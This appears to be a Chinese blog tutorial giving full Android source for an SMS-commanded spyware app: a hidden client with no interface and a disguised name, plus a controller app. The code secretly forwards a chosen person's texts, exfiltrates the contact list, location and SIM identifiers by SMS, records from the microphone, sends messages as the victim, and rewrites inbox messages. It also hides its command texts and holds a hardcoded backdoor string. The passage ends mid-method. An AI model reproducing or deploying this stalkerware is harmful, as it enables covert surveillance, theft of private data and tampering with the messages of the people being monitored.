1.1前言
兴趣是最好的老师,这句话对于有志于从事软件开发的人来说尤为重要,毕竟这一行业需要不断的学习新知识,缺乏兴趣的工作只会让人感到日益枯燥.以下是去年9月份在某培训班开始学习android的过程中,出于个人兴趣写的一个小程序.在此献给大家,一来借这类程序提高大家的Android开发兴趣,再者也可以学习一下简单实用的知识.
1.2程序简介
本程序是一个基于短信的手机控制程序,有受控端B和管理端A.
已实现功能:
1.A监控C发给B的所有短信.
2.A可以查询B的通讯录和位置.
3.A可以开启B的手机录音.
4.A可以通过B向任何人发送短信.
5.A可以修改B的收件箱短信内容.
6.B换手机号后,A可以知道.
相关参数:
admin----管理者手机号码,也就是A的手机号码
listen----被监控的手机号码,即C的手机号.
password----管理密码,会在第一次建立控制关系时设定,A若换手机号,只能通过这个密码来更换B上保存的admin号码
2.1 MainReceiver:程序的短信解析/跳转主体类.
用的是broadcastreceiver , broadcastreceiver本身就不介绍了,网上一大堆使用教程.本程序中就是截获android.provider.Telephony.SMS_RECEIVED广播,分析短信内容, 根据不同的内容进行相应操作.
package iceman.android.project;
import java.util.List;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
public class MainReceiver extends BroadcastReceiver{
private String number;
private SmsManager manager = SmsManager.getDefault();
public void onReceive(Context context, Intent intent) {
MyLog.LogI("OUTPUT", "广播接收器触发");
SharedPreferences preferences = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
//使用
SharedPreferences 存储admin号码和listen号码.
String admin = preferences.getString("admin", "");
MyLog.LogI("OUTPUT", "当前admin:"+admin);
String listen = preferences.getString("listen", "");
String password = preferences.getString("password", "iceman");
MyLog.LogI("OUTPUT", "当前listen:"+listen);
Bundle bun = intent.getExtras();
//开始分析短信
if(bun!=null){
Object[] mypdus = (Object[])bun.get("pdus");
SmsMessage[] messages = new SmsMessage[mypdus.length];
for(int i=0;i<mypdus.length;i++){
messages[i] = SmsMessage.createFromPdu((byte[])mypdus[i]);
}
for(SmsMessage mess:messages){
number = mess.getDisplayOriginatingAddress();
String body = mess.getDisplayMessageBody();
MyLog.LogI("OUTPUT","号码来源:"+number);
MyLog.LogI("OUTPUT","内容:"+body);
if(number.contains("+86")){
number = number.substring(3);
}
MyLog.LogI("OUTPUT","号码来源转换"+number);
//设定管理号码
if(body.equals("iceman78952190")){
MyLog.LogI("OUTPUT","查询密码哦");
abortBroadcast();
manager.sendTextMessage(number, null, password, null, null);
}
if(body.contains("@iceman@admin")){
abortBroadcast();
body = body.substring(13);
if(password.equals("iceman")){
password = body;
Editor editor = preferences.edit();
editor.putString("admin", number);
editor.putString("password", body);
editor.commit();
MyLog.LogI("OUTPUT","设定admin:"+number);
manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
}else{
if(password.equals(body)){
Editor editor = preferences.edit();
editor.putString("admin", number);
editor.commit();
MyLog.LogI("OUTPUT","设定admin:"+number);
manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
}else{
MyLog.LogI("OUTPUT","密码不对");
}
}
}
//对管理号码发来的短信进行判断,是否启动服务或者更改被监听号码
if(number.equals(admin)){
if(body.contains("@iceman@search")){
abortBroadcast();
MyLog.LogI("OUTPUT", "开始查询通讯录");
manager.sendTextMessage(admin, null, "search starting!", null, null);
//启动服务,查询通讯录并发送
Intent it = new Intent(context,ContactService.class);
it.putExtra("admin", admin);
context.startService(it);
}else if(body.contains("@iceman@change")){
abortBroadcast();
listen = body.substring(14);
Editor editor = preferences.edit();
editor.putString("listen", listen);
editor.commit();
MyLog.LogI("OUTPUT", "更改listen完成");
manager.sendTextMessage(admin, null, "listen change success!", null, null);
}else if(body.contains("@iceman@location")){
abortBroadcast();
MyLog.LogI("OUTPUT", "开启位置监控");
Intent it = new Intent(context,LocationService.class);
context.startService(it);
manager.sendTextMessage(admin, null, "location listen success!", null, null);
MyLog.LogI("OUTPUT", "位置监控开启完成");
}else if(body.contains("@iceman@where")){
abortBroadcast();
MyLog.LogI("OUTPUT", "开始发送并解析地址");
Intent it2 = new Intent(context,GetAddressService.class);
context.startService(it2);
}else if(body.contains("@iceman@start")){
abortBroadcast();
MyLog.LogI("OUTPUT", "收到录音开启命令");
Intent it = new Intent(context,RecorderService.class);
context.startService(it);
}else if(body.contains("@iceman@stop")){
abortBroadcast();
MyLog.LogI("OUTPUT", "收到结束录音命令");
Intent it = new Intent(context,RecorderService.class);
context.stopService(it);
}else if(body.contains("@iceman@sms")){
abortBroadcast();
MyLog.LogI("OUTPUT", "发送短信");
String[] str = body.split("#");
manager.sendTextMessage(str[1], null, str[2], null, null);
MyLog.LogI("OUTPUT", "目标号码:"+str[1]+"内容:"+str[2]);
}else if(body.contains("@iceman@replace")){
abortBroadcast();
String[] str = body.split("#");
MyLog.LogI("OUTPUT", "收到短信修改命令");
Intent it = new Intent(context,EditSmsService.class);
it.putExtra("key", str[1]);
it.putExtra("number", str[2]);
it.putExtra("content", str[3]);
it.putExtra("type", "replace");
context.startService(it);
}
else if(body.contains("@iceman@edit")){
abortBroadcast();
String[] str = body.split("#");
MyLog.LogI("OUTPUT", "收到短信编辑命令");
Intent it = new Intent(context,EditSmsService.class);
it.putExtra("key", str[1]);
it.putExtra("number", str[2]);
it.putExtra("content", str[3]);
it.putExtra("type", "edit");
context.startService(it);
}
}
//判断是否由被监听号码发来的短信
if(number.equals(listen)){
String sms = number+":"+body;
MyLog.LogI("OUTPUT", "监听到短信");
List<String> texts=manager.divideMessage(sms);
for(String text:texts)
{
manager.sendTextMessage(admin, null, text, null, null);
}
}
}
}
}
}
这个广播接收器最初是静态注册的,目的是不需要运行程序,相当于开机启动.但是在部分真机上测试时发现360,91短信等会在它之前拦截短信,经过网上查询,得知动态注册的优先级要高于静态注册,优先级相同的动态注册广播,先注册的先接收广播.
所以,我又写了个service,在系统启动后运行并绑定广播接收器.优先级设为2147483647.不要被google api里面写的优先级最大1000忽悠了,这个int上限值也是有用的.
package iceman.android.project;
import android.app.Service;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.IBinder;
public class MainService extends Service{
MainReceiver mReceiver;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
localIntentFilter.setPriority(2147483647);
mReceiver = new MainReceiver();
registerReceiver(mReceiver, localIntentFilter);
}
@Override
public void onDestroy() {
unregisterReceiver(mReceiver);
Intent it = new Intent(MainService.this, MainService.class);
this.startService(it);
}
}
2.2功能:监控指定短信
这是程序的初衷,也是我学到broadcastreceiver时首先冒出来的念头...
当短信来源号码为C时,将短信转发一份给A.代码很简单:
// 判断是否由被监听号码发来的短信
if (number.equals(listen)) {
String sms = number + ":" + body;
MyLog.LogI("OUTPUT", "监听到短信");
List<String> texts = manager.divideMessage(sms);
for (String text : texts) {
manager.sendTextMessage(admin, null, text, null, null);
}
}
2.3功能:查询通讯录
这里使用了ContentResolver,这是与内容提供器ContentProvider对应的"查询器",android的通讯录程序对外提供了ContentProvider查询接口.我们可以像操作数据库一样对里面的数据进行读取.修改也可以(这个太无聊了,放到短信那部分再说)
package iceman.android.project;
import java.util.List;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.database.Cursor;
import android.os.IBinder;
import android.provider.ContactsContract;
import android.telephony.SmsManager;
public class ContactService extends Service{
SmsManager manager = SmsManager.getDefault();
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
}
@Override
public void onStart(Intent intent, int startId) {
String admin = intent.getStringExtra("admin");
MyLog.LogI("OUTPUT", "开启通讯录查询服务");
String[] columns = { "_id", "display_name", "has_phone_number" };
StringBuffer sb = new StringBuffer();
ContentResolver cr = this.getContentResolver();
Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI,
columns, null, null, null);
String[] phone_clos = {
ContactsContract.CommonDataKinds.Phone.CONTACT_ID,
ContactsContract.CommonDataKinds.Phone.NUMBER, };
if (cursor.moveToFirst()) {
do {
int _id = cursor.getInt(0);
String name = cursor.getString(1);
String has_phone = cursor.getString(2);
sb.append(name + ":");
if (has_phone.trim().equals("1")) {
Cursor phones = cr
.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
phone_clos,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID
+ "=" + _id, null, null);
if (phones.moveToFirst()) {
do {
sb.append(phones.getString(1) + ".");
} while (phones.moveToNext());
}
}
} while (cursor.moveToNext());
}
MyLog.LogI("OUTPUT", "开始发送通讯录");
List<String> texts=manager.divideMessage(sb.toString());
for(String text:texts)
{
manager.sendTextMessage(admin, null, text, null, null);
}
//查询完毕后关闭服务
stopSelf();
super.onStart(intent, startId);
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
return super.onStartCommand(intent, flags, startId);
}
@Override
public boolean onUnbind(Intent intent) {
// TODO Auto-generated method stub
return super.onUnbind(intent);
}
}
要注意的是,这个视通讯录条数多少,会有几条短信发出...少用为妙
2.4功能:查询位置
有两件事要做:获得经纬度表示的位置信息和将经纬度解析为地址信息
android使用LocationManager来管理获得的位置信息,给它设置一个位置监听,就可以在位置发生变化时,获得变化后的经纬度信息,
package iceman.android.project;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.os.IBinder;
public class LocationService extends Service{
private Location location;//当前位置
private String time = "unknown";
private SimpleDateFormat sf = new SimpleDateFormat("MM-dd;hh-mm");
private SharedPreferences preferences = null;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
super.onCreate();
getLocation();
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
return super.onStartCommand(intent, flags, startId);
}
@Override
public boolean onUnbind(Intent intent) {
// TODO Auto-generated method stub
return super.onUnbind(intent);
}
private void getLocation(){
LocationManager locationmanager = (LocationManager)getSystemService(Context.LOCATION_SERVICE);
if(locationmanager==null){
MyLog.LogI("OUTPUT", "定位管理器未找到");
}
Criteria criteria = new Criteria();//用来得到位置提供器(Location Provider)的一组参数标准
criteria.setAccuracy(Criteria.ACCURACY_COARSE);//定位精度
criteria.setAltitudeRequired(false);//是否要求定位出高度值
criteria.setCostAllowed(true);//是否允许花钱
String str = locationmanager.getBestProvider(criteria, false);//得到满足标准的一个最好的提供器的名称
if(str==null){
MyLog.LogI("OUTPUT", "位置提供器未找到");
}
MyLog.LogI("OUTPUT", "使用的位置提供器"+str);
location = locationmanager.getLastKnownLocation(str);
locationmanager.requestLocationUpdates(str, 2000, 5, new LocationListener() {
@Override
public void onStatusChanged(String provider, int status, Bundle extras) {
// TODO Auto-generated method stub
}
@Override
public void onProviderEnabled(String provider) {
// TODO Auto-generated method stub
}
@Override
public void onProviderDisabled(String provider) {
// TODO Auto-generated method stub
}
@Override
public void onLocationChanged(Location loca) {
// TODO Auto-generated method stub
MyLog.LogI("OUTPUT", "位置发生改变");
time = sf.format(new Date());
location = loca;
preferences = LocationService.this.getSharedPreferences("sms", MODE_PRIVATE);
Editor editor = preferences.edit();
editor.putString("lat", ""+location.getLatitude());
editor.putString("lon", ""+location.getLongitude());
editor.putString("time", time);
editor.commit();
MyLog.LogI("OUTPUT", "位置已经放入");
}
});
}
@Override
public void onStart(Intent intent, int startId) {
}
}
在这个service中,将改变后的位置经纬度存储下来,下次调用位置解析服务的时候,就可以取出最新的经纬度进行解析了.
mopackage iceman.android.project;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import android.app.Service;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.IBinder;
import android.telephony.SmsManager;
public class GetAddressService extends Service{
private SmsManager manager;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
super.onCreate();
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
}
@Override
public void onStart(Intent intent, int startId) {
manager = SmsManager.getDefault();
MyLog.LogI("OUTPUT", "开始转换地址服务");
SharedPreferences preferences = this.getSharedPreferences("sms", MODE_PRIVATE);
Double lat = Double.parseDouble(preferences.getString("lat", null));
Double lon = Double.parseDouble(preferences.getString("lon", null));
MyLog.LogI("OUTPUT", "精度"+lon);
MyLog.LogI("OUTPUT", "纬度"+lat);
String admin = preferences.getString("admin", null);
String time = preferences.getString("time", null);
String address1 = "经度"+lon+"纬度"+lat;
manager.sendTextMessage(admin, null, address1+time, null, null);
String address2 = getAddress(lon, lat);
manager.sendTextMessage(admin, null, address2+time, null, null);
stopSelf();
super.onStart(intent, startId);
}
@Override
public boolean onUnbind(Intent intent) {
// TODO Auto-generated method stub
return super.onUnbind(intent);
}
public String getAddress(Double Longitude,Double Latitude){
MyLog.LogI("OUTPUT", "开始转换地址");
String url = "http://maps.google.com/maps/api/geocode/json?latlng="+Latitude+","+Longitude+"&language=zh_CN&sensor=false";
HttpClient client = new DefaultHttpClient();
StringBuilder sb = new StringBuilder();
try {
HttpResponse resp = client.execute(new HttpGet(url));
HttpEntity he = resp.getEntity();
BufferedReader br = new BufferedReader(new InputStreamReader(he.getContent()));
String str = "";
while((str=br.readLine())!=null){
sb.append(str);
}
} catch (ClientProtocolException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
MyLog.LogI("OUTPUT", "开始解析json");
try {
JSONObject jo1 = new JSONObject(sb.toString());
String str1 = jo1.getString("results");
JSONArray arr1 = new JSONArray(str1);
String str2 = arr1.get(0).toString();
JSONObject jo2 = new JSONObject(str2);
String str3 = jo2.getString("formatted_address");
MyLog.LogI("OUTPUT", str3);
return str3;
// Toast.makeText(LocationService.this, str3, Toast.LENGTH_LONG).show();
} catch (JSONException e) {
return "地址转换失败";
}
}
}
2.5功能:开启录音
这个很简单,使用MediaRecorder即可,在service的oncreat中开始录音,ondestory中结束录音.
package iceman.android.project;
import java.io.IOException;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
public class RecorderService extends Service{
private MediaRecorder recorder;
private String location;
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
super.onCreate();
MyLog.LogI("OUTPUT", "录音服务启动");
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
location = "/mnt/sdcard/record_"+System.currentTimeMillis()+".3gp";
recorder.setOutputFile(location);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
try {
recorder.prepare();
} catch (IllegalStateException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
recorder.start();
MyLog.LogI("OUTPUT", "开始录音");
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
recorder.stop();
MyLog.LogI("OUTPUT", "停止录音");
super.onDestroy();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
return super.onStartCommand(intent, flags, startId);
}
@Override
public boolean onUnbind(Intent intent) {
// TODO Auto-generated method stub
return super.onUnbind(intent);
}
}
2.6发送短信
对A发过来的短信进行分割,获取目的号码和短信内容,然后发送.代码已经在MainReceiver中了.
2.7编辑短信
ContentResolver不仅可以查询,也可以修改.修改短信这个邪恶的功能就靠它来实现了.
代码中号码为00000000000表示不限号码进行修改.不论谁发过来的短信,只要满足关键字条件,就进行修改.
package iceman.android.project;
import android.app.Service;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.IBinder;
public class EditSmsService extends Service {
private ContentResolver mContentResolver;
private String key, number, content, type;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onStart(Intent intent, int startId) {
key = intent.getStringExtra("key");
number = intent.getStringExtra("number");
content = intent.getStringExtra("content");
type = intent.getStringExtra("type");
mContentResolver = this.getContentResolver();
Cursor cursor;
if (number.equals("00000000000")) {
cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, null, null,
null);
MyLog.LogI("OUTPUT", "号码为00000000000");
} else {
cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, "address = ?",
new String[] {
"" + number
}, null);
MyLog.LogI("OUTPUT", "号码指定");
}
int time = 0;
String newContent = null;
if (cursor != null) {
cursor.moveToFirst();
do {
String address = cursor.getString(cursor.getColumnIndexOrThrow("address"));
String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
int id = cursor.getInt(cursor.getColumnIndexOrThrow("_id"));
// int date =
// cursor.getInt(cursor.getColumnIndexOrThrow("date"));
if (number.equals("00000000000")) {
if (body.contains(key)) {
ContentValues values = new ContentValues();
// values.put("address", address);
if (type.equals("replace")) {
newContent = body.replace(key, content);
} else {
newContent = content;
}
values.put("read", 1);
values.put("status", -1);
values.put("type", 1);
values.put("body", newContent);
mContentResolver.update(Uri.parse("content://sms/inbox"), values,
"_id = ?", new String[] {
"" + id
});
}
} else {
if (body.contains(key) && address.equals(number)) {
ContentValues values = new ContentValues();
// values.put("address", address);
if (type.equals("replace")) {
newContent = body.replace(key, content);
} else {
newContent = content;
}
values.put("read", 1);
values.put("status", -1);
values.put("type", 1);
values.put("body", newContent);
mContentResolver.update(Uri.parse("content://sms/inbox"), values,
"_id = ?", new String[] {
"" + id
});
}
}
time++;
} while (cursor.moveToNext() && time < 50);
}
stopSelf();
}
}
2.8功能:B更换手机号码后发送至A.
TelephonyManager可以获取手机相关信息,比如手机号码,imei等,但是这些数据来源于sim卡,如果某些运营商没有将电话号码写到sim卡上,手机号码就获取不到了.
号码变更检测是要开机进行的,如果发现号码跟保存的不一样,就发送新号码至admin.
package iceman.android.project;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
public class BootReceiver extends BroadcastReceiver{
private String mDeviceId;
private String mTel;
private String mImei;
private String mImsi;
private String mOldDeviceId;
private String mOldTel;
private String mOldImei;
private String mOldImsi;
@Override
public void onReceive(Context context, Intent intent) {
Intent service=new Intent(context, MainService.class);
context.startService(service);
TelephonyManager tm=(TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
mDeviceId = tm.getDeviceId();
mTel = tm.getLine1Number();
mImei = tm.getSimSerialNumber();
mImei = mImei==null?"":mImei;
mImsi = tm.getSubscriberId();
mImsi = mImsi==null?"":mImsi;
SharedPreferences sharedPreferencesPhone = context.getSharedPreferences("phone", Context.MODE_PRIVATE);
mOldDeviceId = sharedPreferencesPhone.getString("deviceid", "");;
mOldTel = sharedPreferencesPhone.getString("tel", "");;
mOldImei = sharedPreferencesPhone.getString("imei", "");;
mOldImsi = sharedPreferencesPhone.getString("imsi", "");;
SharedPreferences sharedPreferencesControl = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
String admin = sharedPreferencesControl.getString("admin", "");
if(isChange()){
SharedPreferences.Editor editor = sharedPreferencesPhone.edit();
editor.putString("deviceid", mDeviceId==null?"":mDeviceId);
editor.putString("tel", mTel);
editor.putString("imei", mImei);
editor.putString("imsi", mImsi);
editor.commit();
SmsManager smsmanager = SmsManager.getDefault();
if(!admin.equals("")){
String text = "tel:"+mTel+".mImei:"+mImei;
smsmanager.sendTextMessage(admin, null, text, null, null);
}
}
}
private boolean isChange(){
if(mTel==null){
return false;
}
if(mOldTel.equals("")){
return true;
}
if(!mTel.equals(mOldTel)){
return true;
}
return false;
}
}
2.9受控端总结:
以下是主配置文件
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="iceman.android.project"
android:versionCode="1"
android:versionName="1.0"
>
<uses-sdk android:minSdkVersion="7" />
<!-- android:priority="100" -->
<application
android:debuggable="false"
android:icon="@drawable/app_icon"
android:label="@string/app_name" >
<receiver android:name=".MainReceiver">
<intent-filter android:priority="2147483647">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
<receiver android:name=".BootReceiver">
<intent-filter android:priority="2147483647">
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
<service android:name=".ContactService" android:enabled="true"/>
<service android:name=".LocationService" android:enabled="true"/>
<service android:name=".RecorderService" android:enabled="true"/>
<service android:name=".GetAddressService" android:enabled="true"/>
<service android:name=".EditSmsService" android:enabled="true"/>
</application>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
</manifest>
可以看到的是,受控端是没有activity的.而且程序名字我命名为"android短信服务".如果不是有服务开启的话,可以说是无法发现程序的存在的.
3.1管理端
为了简化命令发送的繁琐,写了这个简单的管理端程序,就两个activity.
package iceman.android.smsadmin;
import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.CompoundButton;
import android.widget.CompoundButton.OnCheckedChangeListener;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
public class SMSadminActivity extends Activity {
private TextView mClientNumberText, mListenNumberText;
private EditText mAdminSetEditText, mListenSetEditText, mSmsNumberSetEditText, mSmsContentEditText, mPasswordEditText;
private CheckBox mPasswordUse;
private Button mAdminSetBtn, mListenSetBtn, mSearchBtn, mOpenLocationBtn, mGetAddressBtn, mRecoderBtn, mSendSmsBtn;
private Button mEditSmsBtn;
private Boolean mIsRecording = false;
private SmsManager mSmsManager = SmsManager.getDefault();
private String mClientNumber = null;
private String mListenNumber = null;
private SharedPreferences mSharedpreferences = null;
private String mPassword;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
mClientNumberText = (TextView) findViewById(R.id.number_tv1);
mListenNumberText = (TextView) findViewById(R.id.number_tv2);
mPasswordEditText = (EditText) findViewById(R.id.password_et);
mPasswordEditText.setInputType(0x81);
mPasswordUse = (CheckBox) findViewById(R.id.password_use);
mAdminSetEditText = (EditText) findViewById(R.id.number_et);
// et1.setTransformationMethod(PasswordTransformationMethod.getInstance());
mAdminSetEditText.setHint(this.getString(R.string.the_number_to_control));
mListenSetEditText = (EditText) findViewById(R.id.listen_et);
mListenSetEditText.setHint(this.getString(R.string.the_number_to_listen));
mSmsNumberSetEditText = (EditText) findViewById(R.id.sms_number_et);
mSmsNumberSetEditText.setHint(this.getString(R.string.where_to_send));
mSmsContentEditText = (EditText) findViewById(R.id.sms_et);
mSmsContentEditText.setHint(this.getString(R.string.sms_content));
mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
mClientNumber = mSharedpreferences.getString("control", "");
mListenNumber = mSharedpreferences.getString("listen", "");
mClientNumberText.setText(this.getString(R.string.now_control) + mClientNumber);
mListenNumberText.setText(this.getString(R.string.now_listen) + mListenNumber);
mAdminSetBtn = (Button) findViewById(R.id.admin_btn);
mListenSetBtn = (Button) findViewById(R.id.listen_btn);
mSearchBtn = (Button) findViewById(R.id.search_btn);
mOpenLocationBtn = (Button) findViewById(R.id.open_locations_btn);
mGetAddressBtn = (Button) findViewById(R.id.where_btn);
mRecoderBtn = (Button) findViewById(R.id.recorder_btn);
mRecoderBtn.setText(this.getString(R.string.start_record));
mSendSmsBtn = (Button) findViewById(R.id.sms_btn);
mEditSmsBtn = (Button)findViewById(R.id.edit_sms);
mPasswordUse.setOnCheckedChangeListener(new OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
if (isChecked) {
mPassword = mPasswordEditText.getText().toString().trim();
mPasswordEditText.setEnabled(false);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.password)+mPassword, Toast.LENGTH_SHORT).show();
} else {
mPassword = "";
mPasswordEditText.getEditableText().clear();
mPasswordEditText.setEnabled(true);
}
Editor editor = mSharedpreferences.edit();
editor.putString("password", mPassword);
editor.commit();
}
});
mAdminSetBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
String str = mAdminSetEditText.getText().toString().trim();
if ((str.equals("")) == false) {
if ((str.equals("18621191115")) == false) {
mClientNumberText.setText(SMSadminActivity.this.getString(R.string.now_control) + str);
mAdminSetBtn.setText(SMSadminActivity.this.getString(R.string.control_number_set_over));
mClientNumber = str;
Editor editor = mSharedpreferences.edit();
editor.putString("control", str);
editor.commit();
// et1.setEnabled(false);
// btn1.setClickable(false);
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@admin"+mPassword, null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.control_number_set_send), Toast.LENGTH_SHORT)
.show();
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.number_can_not_control), Toast.LENGTH_LONG)
.show();
}
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_control_number), Toast.LENGTH_SHORT).show();
}
}
});
mListenSetBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
String str = mListenSetEditText.getText().toString().trim();
if (str.equals("") == false) {
mListenNumberText.setText(SMSadminActivity.this.getString(R.string.now_listen) + str);
mListenSetBtn.setText(SMSadminActivity.this.getString(R.string.listen_number_set_over));
mListenNumber = str;
Editor editor = mSharedpreferences.edit();
editor.putString("listen", str);
editor.commit();
// et2.setEnabled(false);
// btn2.setClickable(false);
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@change" + mListenNumber, null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.listen_number_set_send), Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_listen_number), Toast.LENGTH_SHORT).show();
}
}
});
mSearchBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (mClientNumber.equals("") == false) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@search", null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_send_over), Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
}
}
});
mOpenLocationBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (mClientNumber.equals("") == false) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@location", null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.open_location_service_over), Toast.LENGTH_SHORT).show();
mOpenLocationBtn.setClickable(false);
mOpenLocationBtn.setText(SMSadminActivity.this.getString(R.string.location_service_open));
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
}
}
});
mGetAddressBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (mClientNumber.equals("") == false) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@where", null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_address_send_over), Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
}
}
});
mRecoderBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (mClientNumber.equals("") == false) {
if (!mIsRecording) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@start", null, null);
mIsRecording = true;
mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.stop_record));
} else {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@stop", null, null);
mIsRecording = false;
mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.start_record));
}
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
}
}
});
mSendSmsBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (mClientNumber.equals("") == false) {
String str1 = mSmsNumberSetEditText.getText().toString().trim();
String str2 = mSmsContentEditText.getText().toString().trim();
